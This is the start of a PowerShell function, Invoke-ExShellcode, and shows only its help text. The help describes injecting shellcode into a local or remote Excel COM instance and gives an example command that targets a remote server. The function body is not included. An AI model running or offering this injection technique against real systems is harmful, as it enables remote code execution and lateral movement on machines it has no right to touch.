function Invoke-ExShellcode
{
<#
.SYNOPSIS
Inject Shellcode into a local or remote instance of the Excel.Application COM object
.PARAMETER ComputerName
Specify a remote host to inject into.
.PARAMETER Payload
A file containing the shellcode bytes
.PARAMETER x64
Specify the x64 switch to enable x64 shellcode injection
.EXAMPLE
PS > Invoke-ExShellcode -ComputerName server01 -Payload C:\temp\payload.bin -x64
Injects the x64 payload in payload.bin to an x64 Excel instance on server01
